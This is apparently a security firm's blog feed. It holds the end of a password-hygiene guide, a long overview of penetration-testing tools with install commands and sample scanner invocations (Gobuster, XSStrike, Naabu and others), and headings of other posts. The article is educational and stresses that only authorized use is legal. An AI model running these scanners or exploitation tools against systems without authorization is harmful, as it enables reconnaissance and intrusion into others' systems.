Browsers offer password storage as a convenience feature. This is practical - but browsers are primarily designed for browsing, not for the secure management of login credentials. Certain attack vectors that exploit browser vulnerabilities can access stored passwords. Additionally, many browsers sync passwords via cloud services, which may not offer the same level of protection as a dedicated password manager.

For occasional, non-critical logins, browser storage may be acceptable. For important accounts - email, banking, corporate logins - a dedicated password manager is recommended.

Password Security in Different Contexts

Personal: Secure the Most Important Accounts First

Not all accounts are equally important. Prioritizing helps:

Critical (secure first):

Email account (master key for all others)
Online banking and payment services
Most important social media accounts (identity, privacy)
Cloud storage with sensitive data (photos, documents)

Medium:

Shopping accounts with saved payment methods
Streaming services
Employer VPNs and portals

Less critical:

Forum accounts without personal data
Newsletter subscriptions

The effort required for each account should be proportional to the sensitivity of the stored data. A password manager makes it much easier to use unique passwords even for less important accounts - without any extra mental effort.

In the Workplace: Unique Challenges

Corporate environments have specific requirements. The average employee manages over 90 online accounts - many of them work-related. Compromised corporate credentials can have far-reaching consequences: data breaches, ransomware attacks, regulatory penalties.

Specific risk areas in a corporate context:

Shared accounts: Multiple people share a single password - no one is held accountable, and changes are uncontrolled
Default passwords: New systems come with default credentials (admin/admin, root/root) that are never changed
Departing employees: Passwords known to former employees that are not changed immediately

These specific challenges and solutions are discussed in detail in our article on secure password policies for businesses.

For Businesses: Password Policies and Security Awareness

Enterprise environments face unique challenges. Employees manage an average of over 90 online accounts. A single compromised personal email password can be used via credential stuffing to gain access to the company’s SSO.

Modern password policies for businesses - such as those outlined in NIST SP 800-63B (2017, updated 2024) and by the BSI in its IT-Grundschutz compendiums - focus on length rather than enforced complexity and do away with routine password change intervals. This topic is covered in detail in our article on secure password policies for businesses.

Practical implementation: Employees who understand why password hygiene is important protect themselves better than those who merely follow rules. Security awareness training - featuring live hacking demonstrations that show how quickly weak passwords can be cracked - sustainably increases motivation for behavioral change.

Request security awareness training

FAQ: Password Security

How long does a secure password need to be?

At least 12 characters; 15 or more are recommended. Length is more important than forced complexity through special characters. A 16-character password without special characters is more secure than an 8-character password with many special characters.

How often should I change my password?

According to BSI and NIST: only if there is concrete evidence of a breach - not routinely every 90 days. Forced regular changes lead to predictable patterns (Version1, Version2) and reduce security in practice.

What is the difference between a password and a passphrase?

A passphrase consists of several words, while a password typically consists of a combination of characters. Passphrases made up of random, thematically unrelated words are easier to remember and - if long enough - are at least as secure as cryptic short passwords.

What is a password manager, and do I need one?

A password manager is an encrypted digital vault that securely stores passwords and automatically fills them in. You only need to remember a single strong master password. Without a password manager, consistent password hygiene (a unique password for every service) is practically impossible to achieve. You can find details on the best password managers in our password manager comparison.

What are passkeys, and are they more secure than passwords?

Passkeys are a FIDO2-based authentication method in which no secret is ever transmitted. They are technically phishing-proof - logging in with the real passkey on a phishing domain is technically impossible. Since the internal FIDO2 rollout in 2017, Google has not recorded a single account takeover via phishing. Passkeys are the most secure authentication method currently available.

What should I do if I receive a blackmail email containing one of my real passwords?

Do not pay. Such emails originate from old data breaches and usually contain no evidence of actual webcam recordings or similar threats. Check haveibeenpwned.com to see if your email address is included in a known data breach, and immediately change the password in question on all services where you have used it.

How can I tell if my password was involved in a data breach?

Check your email address for free at haveibeenpwned.com or using the HPI Identity Leak Checker from the Hasso Plattner Institute at the Hasso Plattner Institute in Potsdam. The HPI Identity Leak Checker only sends results after you confirm your email address, which enhances data protection.

Password security isn’t a one-time project, but an ongoing practice. The easiest first step: Set up a password manager today - and enable MFA on your most important accounts. You can find the right manager for your situation in our Password Manager Comparison.

For companies that want to know how resilient their employees really are against password attacks and phishing: Request Security Awareness Training

Pentest Tools: The Best Tools for Penetration Testers [2026]

kontakt@a7.de (Vincent Heinen) — Thu, 26 Feb 2026 00:00:00 GMT

Penetration testers don’t need a single all-purpose tool - they need the right tool for the right phase. A port scanner is of little use if a target hasn’t been defined yet. An exploit framework is out of place before the attack surface has been fully mapped. The difference between a good and an excellent pentest often lies in using the right tool for the situation.

As a company specializing in penetration testing, we at AWARE7 GmbH have developed a toolset over the years that automates typical processes without losing sight of what matters most. No two penetration tests are alike, which is why you always need an expert who knows what to look for - and which tool will best help them do so.

This article compiles the most important penetration testing tools, organized by phase of deployment: from initial reconnaissance through scanning and enumeration to exploitation and specialized platform testing.

> Important Note: All tools presented here may only be used on systems for which explicit authorization has been granted. Unauthorized penetration tests are punishable by law.

How Penetration Testing Tools Work

Penetration tests follow a structured pattern. Penetration testing tools support the four key phases:

Scanning: Identification of known vulnerabilities and attack surfaces - largely automated by specialized tools.

Enumeration: Vulnerabilities are listed and logged so that the analyst can investigate individual findings in depth.

Prioritization: The pentester uses their experience to assess which vulnerabilities pose the greatest risk.

Evaluation: The results are interpreted and presented in a way that allows the client to understand them and translate them into concrete actions.

Tools primarily automate the first two phases. Prioritization and evaluation require human judgment - which is precisely why fully automated penetration testing solutions regularly fail.

Comparison Table: Penetration Testing Tools at a Glance

Tool	Category	Use Case	Open Source?
Naabu	Reconnaissance	Port scanning	Yes
Gobuster	Enumeration	Directory & DNS brute force	Yes
Dirbuster	Enumeration	Directory brute force (GUI)	Yes
Dirsearch	Enumeration	Directory brute force (CLI)	Yes
SSLScan	Scanning	SSL/TLS encryption analysis	Yes
Arjun	Enumeration	HTTP parameter discovery	Yes
XSStrike	Vulnerability Testing	XSS detection + WAF fingerprinting	Yes
Typo3Scan	Specialized	TYPO3 misconfiguration scanner	Yes
Nmap	Reconnaissance	Network port scanning + service discovery	Yes
Metasploit	Exploitation Framework	Exploit development + vulnerability testing	Yes (Community)
Nikto	Scanning	Web server vulnerability scanner	Yes
SQLMap	Exploitation	SQL injection testing	Yes
Wireshark	Analysis	Network packet analysis	Yes
Burp Suite	Web Testing	Web proxy + vulnerability scanner	Yes (Community)
Amass / Fierce	Reconnaissance	Subdomain enumeration	Yes
Aircrack-ng	WLAN	WiFi security analysis	Yes
Acunetix	Scanning	Web Application Scanner (commercial)	No
Nessus	Scanning	Vulnerability Assessment	Yes (Free, limited)
Core Impact	Exploitation	Commercial Exploit Framework	No
Frida	iOS/Mobile	Runtime Instrumentation	Yes
Objection	iOS/Mobile	iOS runtime analysis without jailbreak	Yes
iRET	iOS/Mobile	iOS reverse engineering toolkit	Yes
DVIA	iOS/Mobile	Training app for iOS penetration tests	Yes

1. Reconnaissance Tools

The reconnaissance phase is about gathering as much information as possible about the target system: open ports, running services, subdomains, version numbers. All information found in this phase is relevant - there is no such thing as unimportant data.

Naabu - Port Scanner in Go

Naabu is a fast port scanner written in the Go programming language. Go is characterized by high speed, which is a significant advantage for scanners: The scan completes much faster than with scanners written in older languages.

Use Case: Detect open ports on a target system, identify running services.

Particularly relevant are: Port 3389 (Remote Desktop Protocol - waits for remote control by external computers), Port 21 (FTP), Port 22 (SSH), as well as open IoT devices or webcams that are accessible via the Internet.

Installation:

git clone https://github.com/projectdiscovery/naabu.git
cd naabu/v2/cmd/naabu
go build
mv naabu /usr/local/bin/

Example:

naabu -host example.de

The default settings scan the top 100 ports. The output lists all open ports along with the detected service.

Nmap - Network Mapping

Nmap is one of the oldest penetration testing tools and receives regular updates. It is used to map a network, identify endpoints, and detect services. Thanks to TCP and UDP scanning mechanisms as well as various detection systems, Nmap is a fundamental requirement for nearly every penetration test. A GUI version (Zenmap) makes it easier to get started.

Applications: Network analysis, service and version detection, operating system fingerprinting.

Subdomain Enumerators: Amass & Fierce

For any attacker, discovering subdomains is an essential step. Forgotten subdomains often hide old systems that are easy to attack. Two widely used tools for this task are Fierce (included in Kali Linux) and Amass (an OWASP project, available via GitHub).

Use case: Subdomain enumeration, expanding the attack surface.

Google Hacking / OSINT

Google is not a traditional penetration testing tool, but its powerful search function makes it an important ally in information gathering. Using search operators such as site:, intitle:, filetype:, and others, you can find CVEs, exposed files, and sensitive configurations that are publicly indexed.

Application: Passive reconnaissance, OSINT.

2. Scanning & Enumeration

The initial reconnaissance is followed by targeted scanning: Which directories exist on the web server? What encryption methods does the server accept? Which HTTP parameters does a web application process?

Gobuster - Directory and DNS Brute Force in Go

Gobuster is written in Go and is therefore significantly faster than comparable tools in older languages. It finds unlinked folders and files on web servers using wordlist brute force - and can also discover subdomains via DNS brute force.

Use Cases: Hidden subpages, forgotten files on web servers, subdomain enumeration.

Pre-installed in Kali Linux: Yes.

Example:

gobuster dir -u https://beispiel.de -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

Gobuster vs. Dirbuster: Dirbuster offers a graphical interface and enables recursive searches (i.e., automatically exploring found subdirectories). Gobuster, on the other hand, is significantly faster and additionally supports DNS brute-force mode. For large web servers, Gobuster is the better choice due to its speed advantage.

Dirbuster - Directory Brute Force with GUI

Dirbuster is the older counterpart to Gobuster and offers a graphical interface through which all settings can be clearly configured. A key advantage: the recursive search, which allows Dirbuster to discover deeply nested subdirectories with a single command.

Application: Hidden subpages, forgotten directories on web servers.

Dirsearch - CLI directory scanner

Dirsearch is a command-line tool that scans directories and files on servers using the brute-force method. It performs a blind search for accessible areas and thus automatically identifies vulnerabilities.

Use case: Directory and file search on servers, ideal as a companion to larger penetration tests.

SSLScan - SSL/TLS Encryption Analysis

SSLScan checks web servers for the SSL/TLS encryption methods they use. It negotiates multiple times with the target server and reports which cipher suites are accepted. Outdated or insecure encryption methods are highlighted in color.

Background: TLS ensures that sensitive activities such as online banking can be conducted securely over the Internet. SSLScan quickly determines whether a server still accepts older and insecure algorithms - useful, for example, for system administrators who want to identify which servers need to be updated.

Pre-installed in Kali Linux: Yes.

Example:

sslscan https://beispiel.de

History: The first version was released by Ian Ventura-Whiting on the Titania website. Version 2.0 added TLS 1.2 and TLS 1.3 without OS binding. The project is open source and available on GitHub.

Arjun - HTTP Parameter Discovery

Arjun finds hidden HTTP parameters in web applications. Web applications use HTTP parameters to store and manage user input - many of which are undocumented but may contain vulnerabilities.

Unlike many other tools, Arjun does not require an external wordlist: the parameter lists are included directly in the repository.

Use Case: Useful as a follow-up step after directory scanning with Gobuster or Dirbuster - when hidden paths are already known and their parameters need to be examined.

Not pre-installed in Kali Linux.

Installation:

git clone https://github.com/s0md3v/Arjun
cd Arjun

Example:

python3 arjun.py -u https://beispiel.de/suche

The tool identifies all valid parameters at the specified URL. These parameters can be analyzed for vulnerabilities during a penetration test.

3. Exploitation & Vulnerability Testing

Once attack vectors and parameters are known, the actual vulnerability analysis begins. Tools in this category check whether the identified input points can actually be exploited.

XSStrike - XSS Scanner with WAF Fingerprinting

XSStrike is a multifunctional scanner for detecting cross-site scripting (XSS) vulnerabilities. In addition to basic scanning, it can also examine web application firewalls (WAFs), create fingerprints, and perform fuzzing.

Background: XSS is one of the most common vulnerabilities on the internet. It occurs particularly where user input is processed - in search fields or contact forms. Injected malicious code is executed by other users within the website’s trusted context. There are three types of XSS: reflected, persistent, and DOM-based.

Not pre-installed in Kali Linux.

Installation:

git clone https://github.com/s0md3v/XSStrike
cd XSStrike
pip3 install -r requirements.txt

Example:

python3 xsstrike.py -u "https://beispiel.de/suche?" --params --skip-dom

The --params parameter enables automatic parameter detection, while --skip-dom skips DOM-XSS tests.

SQLMap - SQL Injection Testing

SQLMap automates the search for SQL injection vulnerabilities. It features a powerful engine and supports various injection types: time-based, boolean, error-based, and stacked. SQL injections occur when developers implement inadequate input validation.

Use case: Testing for SQL injection vulnerabilities in web applications and databases.

Metasploit - Exploitation Framework

Metasploit is more than a single tool - it is a comprehensive framework covering various areas: finding, validating, and exploiting vulnerabilities. It is used for web applications, networks, servers, and other IT systems. Security experts and attackers use it alike.

Metasploit includes well over 1,500 exploits and 500 payloads. It can write malicious code that bypasses detection systems, perform vulnerability scans, and launch remote attacks. There are three versions: Framework (open source), Community, and Professional (paid).

Use Cases: Validating and exploiting vulnerabilities, exploit development, post-exploitation.

Nikto - Web Server Scanner

Nikto is a free, open-source penetration testing tool for web server scans. It performs multi-stage tests and identifies more than 6,000 potentially dangerous files. It also checks servers for outdated versions and version-specific issues, as well as cross-site scripting. Nikto comes pre-installed in Kali Linux and many other hacking distributions.

Use Cases: Web server vulnerabilities, outdated software, misconfigurations.

Burp Suite - Web Proxy and Vulnerability Scanner

PortSwigger’s Burp Suite is a comprehensive tool for manual web penetration testing. It intercepts network traffic and enables targeted analysis of individual HTTP requests. There is a free Community Edition as well as a paid Pro version with extended functionality.

Use Cases: Web application testing, analysis of HTTP requests, automated vulnerability scanning.

BeEF - Browser Exploitation Framework

BeEF (Browser Exploitation Framework) is primarily suited for penetration tests targeting the browser. When vulnerabilities in the browser need to be identified, BeEF is a free and targeted tool.

Application: Browser vulnerabilities, client-side attack vectors.

4. Specialized Tools

Some target systems require specialized tools that are precisely tailored to the specific characteristics of the respective platform.

Typo3Scan - TYPO3 Misconfiguration Scanner

TYPO3 is a widely used open-source CMS that is often directly connected to a database. Misconfigurations in such systems represent a significant attack surface. Typo3Scan uses targeted queries to check how TYPO3 is configured on the web server and compares the results against a list of known vulnerabilities.

Use case: Detect misconfigurations in TYPO3 installations.

Not pre-installed in Kali Linux.

Installation:

git clone https://github.com/whoot/Typo3Scan.git
cd Typo3Scan
pip install -r requirements.txt

Note: Python 3.7 is recommended. You can check the version with python --version.

Example:

python3 typo3scan.py -d example.de --vuln

Aircrack-ng - WiFi Security Analysis

Aircrack-ng is a tool for checking the security of WiFi networks. It offers packet capture for monitoring, performs replay attacks and deauthentication, and can analyze common WiFi networks.

Application: WiFi security analysis, wireless networks.

Wireshark - Network Packet Analysis

Wireshark is a network protocol analyzer that captures data packets in real time and displays them in a readable format. In addition to Wi-Fi standards, it also supports Bluetooth, USB, and FDDI. For penetration testers, Wireshark is often a must-have for understanding what is actually happening on a network.

Historical note: Wireshark was formerly known as Ethereal.

Applications: Network monitoring, protocol analysis, identifying security issues.

5. iOS Penetration Testing Tools

iOS is considered a particularly secure mobile operating system - apps run in a sandbox without root access, have only limited read access, and must obtain user permission for any further access. Nevertheless, vulnerabilities exist, and iOS penetration testing is relevant for companies that deploy iPhones company-wide or process sensitive data on them.

For iOS penetration tests, it is important to be familiar with the three main directories:

/var/Application - Files from pre-installed applications
/var/containers/Bundle/Application - Files from applications installed from the Apple App Store
/var/mobile/Containers/data/Application - data stored by the app developer (also known as "Local Data Storage Container")

Frida

Frida is a toolkit for developers, reverse engineers, and security researchers. It runs on Windows, macOS, Linux, iOS, watchOS, tvOS, and other systems. It allows scripts to be injected into running processes.

Use Cases: Dynamic analysis, reverse engineering, iOS penetration testing.

Objection

Objection is based on Frida and provides a runtime toolkit that helps assess security on iOS quickly and easily without jailbreaking.

Use Cases: iOS runtime analysis, security assessment without jailbreaking.

iRET - iOS Reverse Engineering Toolkit

iRET is a comprehensive toolkit that allows penetration testers to perform all tasks required for an iOS penetration test. It is used for the analysis and reverse engineering of iOS applications.

Use case: iOS application analysis, reverse engineering.

Burp Suite (iOS)

Burp Suite intercepts and analyzes network traffic from iOS devices. It has thus established itself as an important tool in the field of iOS penetration testing. The Community Edition is available for free.

Applications: HTTP/HTTPS traffic analysis on iOS, web app testing.

DVIA - Damn Vulnerable iOS App

DVIA (Damn Vulnerable iOS App) is an iOS application that serves as a training platform for iOS penetration testing. It is freely available via GitHub and is useful for anyone looking to learn iOS penetration testing or learn about past security vulnerabilities.

Use case: Training environment, understanding iOS vulnerabilities.

iGoat

iGoat is an OWASP extension that allows developers to learn about common security issues. It is divided into various lessons, each of which explains a security-related problem. It is less of a full-fledged penetration testing tool and more of a learning application for developers and security experts.

Use case: Training, understanding iOS security.

libimobiledevice

libimobiledevice is a library that can communicate natively with iOS devices - independently of Apple’s own libraries and without jailbreaking.

Use case: Communication with iOS services, forensics.

iFunbox

iFunbox is a file manager for iPhones that allows access to the file system of connected devices. On jailbroken devices, it even allows access to the app sandbox.

Use case: File system access, data transfer, iOS forensics.

6. Hacking Frameworks and Penetration Testing Operating Systems

The Right Operating System as a Foundation

By choosing the right operating system, the pentester lays the foundation for their tools. The most important options:

Kali Linux is the best-known hacking distribution. It is based on Debian, developed by Offensive Security, and comes with a large number of pre-installed tools. Kali Linux offers good documentation and an active community - ideal for getting started.

Parrot Security OS is aimed at penetration testers who need a developer- and tester-friendly environment with anonymization capabilities.

Ubuntu Linux is a general-purpose operating system. With Ubuntu, only the tools you actually need are installed - this is time-consuming, but the installation remains lean.

Black Arch is a specialized Arch Linux derivative for security researchers and penetration testers. It is not very beginner-friendly: many tools need to be customized after installation. Those who do not feel comfortable using the command line should steer clear of this distribution.

Other relevant tools from the field

The following list summarizes additional tools used in the daily work of professional penetration testers:

Acunetix is a commercial vulnerability scanner for web applications. It detects more than 7,000 vulnerabilities (SQL injections, XSS, misconfigurations, weak passwords, unprotected databases) and features macro recording technology for multi-level or password-protected areas.

Nessus is a scanner for vulnerability assessment in penetration tests. The Pro and Expert versions offer extensive features; the free version allows scanning of a limited IP address range.

Core Impact has been around for over twenty years and, according to its own claims, has the largest number of available exploits. All exploits are commercial-grade and come directly from Core Impact.

John The Ripper is a fast password cracker that supports hundreds of hash and encryption types - from user passwords to database servers and hard drives. Open source, with an optional paid Pro version.

Commix is a portable tool for command injection attacks. It automatically detects vulnerabilities and has a modular design - users can add their own modules.

Ettercap describes itself as a suite for man-in-the-middle attacks: sniffing live connections, content filtering on the fly, and protocol dissection.

Sn1per is an ASM (Continuous Attack Surface Management) platform. It is open source but is also available in an extended paid version.

Hexway is a self-hosted pentest workspace platform (PTaaS - Pentesting-as-a-Service) that enables comprehensive penetration testing within your own working environment.

FAQ

What is the difference between free and paid penetration testing tools?

Free tools usually focus on a specific area or use case and are limited accordingly. Paid tools like Nessus or Acunetix provide entire penetration testing suites to cover as many areas as possible. Many free tools also offer optional Pro versions with an expanded feature set.

Which tools are pre-installed in Kali Linux?

Kali Linux includes Gobuster, SSLScan, Nmap, Nikto, SQLMap, Wireshark, and Metasploit, among others. Tools such as Arjun, Naabu, XSStrike, and Typo3Scan must be installed separately.

Do penetration testing tools replace the penetration tester?

No. Tools primarily automate the scanning and identification of known vulnerabilities. Evaluating, prioritizing, and interpreting the results require human judgment and experience. This is one of the main reasons why fully automated penetration testing solutions regularly fail.

For which phases of the penetration test are there tools?

For all four phases: scanning (Nmap, Naabu, SSLScan), enumeration (Gobuster, Dirsearch, Arjun), prioritization (Burp Suite, Nikto), and the exploitation phase (Metasploit, SQLMap, XSStrike). However, the prioritization and evaluation of the results always rests with the experienced pentester.

Can anyone use these tools?

All tools presented here may only be used on systems for which explicit written permission from the system owner has been obtained. Unauthorized penetration tests are punishable under Section 202a of the German Criminal Code (StGB) (data espionage).

How much does a professional penetration test cost?

That depends on the scope, the target platform (web application, network, mobile app, cloud), and the depth of the test. AWARE7 offers customized penetration tests - the team is happy to provide a specific quote.

Conclusion

Choosing the right penetration testing tools is not a matter of having the largest arsenal - but rather of using them appropriately for the situation. An experienced penetration tester selects the right tool for each phase of the test and can interpret the results correctly.

At AWARE7, we have developed a toolset over the years that automates typical processes without losing sight of what matters most. If you need support with your next penetration test, please contact us.

AWARE7 Blog - IT Security, Pentesting & Compliance

Zero-day vulnerability in internal tools: What the Metabase incident has triggered

What is a zero-day vulnerability?

What happened during the Metabase incident on 3 August 2026

Why internal analytics tools are an underestimated attack surface

Immediate measures for Metabase operators

Notification Obligations and GDPR Evidence

Assessment

HTTP/2 Bomb (CVE-2026-49975): How One Home PC Crashes Web Servers

The key points first

What happened

How the attack works

Which servers are affected

Why this matters for businesses

What to check this week

Common question: is this only an Apache problem?

Assessment

XFCE Screensaver Vulnerability: Lock-Screen Bypass via Monitor Switch

Which systems are affected by the XFCE screensaver bypass?

How does the vulnerability work technically?

How did we discover the bypass?

How can the exploit be reproduced?

Manual proof of concept

Automation with the LilyGo T-Dongle S3

Where is the root cause in the source code?

Which fix closes the gap?

How high is the residual risk after the fix?

Conclusion: Is xfce4-screensaver still usable?

FAQ: Common questions about the XFCE screensaver bypass

Which xfce4-screensaver versions are affected?

Does the vulnerability apply to other X11 screen lockers?

How can I check whether my system is vulnerable?

Has a CVE ID been assigned?

What are the alternatives to xfce4-screensaver?

Next steps

ISO 27001 vs. BSI IT-Grundschutz vs. TISAX: Business Comparison 2026

An Overview of the Three Frameworks

ISO 27001 - The international standard

BSI IT-Grundschutz - The German Operational Framework

TISAX - The Automotive Standard

Direct Comparison: ISO 27001 vs. BSI IT-Grundschutz vs. TISAX

Detailed Cost Comparison

ISO 27001 - Total Costs for SMEs (50-250 Employees)

BSI IT-Grundschutz - Cost Comparison

TISAX - Assessment Costs (2025)

Which framework is suitable for whom?

ISO 27001 - Recommended if:

BSI IT-Grundschutz - Recommended if:

TISAX - Recommended (or mandatory) if:

The Combination Strategy

Recommended Combination for Most SMEs

Recommended combination for automotive suppliers

Common Mistakes in Choosing a Framework

Frequently Asked Questions

Can I meet NIS2 requirements with BSI IT-Grundschutz?

Is ISO 27001 or TISAX more expensive?

How long does a TISAX assessment take?

Do I also need ISO 27001 for TISAX?

Conclusion: The Right Choice for Your Company

IT Security Certifications: T.I.S.P. vs. CISSP vs. CISM vs. CompTIA

An Overview of the Five Most Important IT Security Certifications

T.I.S.P. - TeleTrusT Information Security Professional

CISSP - Certified Information Systems Security Professional

CISM - Certified Information Security Manager

CompTIA Security+

ISO 27001 Lead Auditor

Comparison Table: T.I.S.P. vs. CISSP vs. CISM vs. Security+ vs. ISO 27001 LA

Which certification is right for whom?

For the DACH market: T.I.S.P.

For international careers: CISSP

For Security Managers and CISOs: CISM

For career starters: CompTIA Security+

For auditors: ISO 27001 Lead Auditor

T.I.S.P. and NIS-2: Why the certification will be particularly relevant in 2026

Salary Comparison: What Do Certified IT Security Professionals Earn?

Frequently Asked Questions

Can I combine multiple certifications?

Which certification is most frequently required in job postings?

What is the best way to prepare for T.I.S.P.?

Is T.I.S.P. internationally recognized?